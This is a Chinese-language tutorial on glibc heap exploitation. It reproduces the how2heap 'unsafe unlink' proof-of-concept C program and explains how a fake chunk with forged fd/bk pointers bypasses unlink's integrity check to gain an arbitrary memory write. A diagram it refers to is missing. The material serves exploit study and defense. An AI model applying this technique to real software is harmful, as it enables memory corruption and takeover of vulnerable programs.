前言:那再进步一点点。
0X00 例子
还是 how2heap 的例子,暂时不知道 unlink 有什么作用
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}
0X01 手动调试与原理讲解
这里着重写清楚是怎么绕过 unlink 的检查的,我们开始调试并直接进入 _int_free() 函数中。
假设我们可以覆盖改变 chunk1 的内容,由于我们在这里:
chunk1_hdr[1] &= ~1;
改变了 prev_inuse 的标记,导致 unlink 的发生,所以这是利用 unsafe unlink 的重要条件。
接着,由于我们又改变了 prev_size,使它由 0x90 变为了 0x80,所以 p 指向了当前 chunk - prev_size 的那个值。
我们进入 unlink,unlink 是一个宏,由于我们的 size 比较小,没有达到 large bin chunk(0x400)的 size 所以我们要绕过的地方只有一点:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
FD 与 BK 的值如下:
FD = P->fd;
BK = P->bk;
通常情况下:
P->fd->bk = P
P->bk->fd = P
由于我们现在是一个假的 chunk。P 是这个假 chunk 的地址。为了绕过这个检查 how2heap 做了这样的构造:
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
我画个图说明一下这个 chunk0_ptr:
由于 P 指的是图中 fd 的位置,所以 P-> fd = p1 P->bk = p2
所以 p1-> bk = chunk0_ptr
p2->fd = chunk0_ptr
所以,就绕过了检查。
接着执行了这样的语句:
FD->bk = BK;
BK->fd = FD;
FD->bk 和 BK->fd 都是指向同一个值 chunk0_ptr,所以 chunk0_ptr = FD = p1 = (&chunk0_ptr)-3
所以 chunk0_ptr 就指向了
这也就解释了为什么
chunk0_ptr[3] = (uint64_t) victim_string;
能将 chunk0_ptr 修改为 victim_string
因为:chunk0_ptr[3]
等价于 *(chunk0_ptr+3)
.。
完结撒花。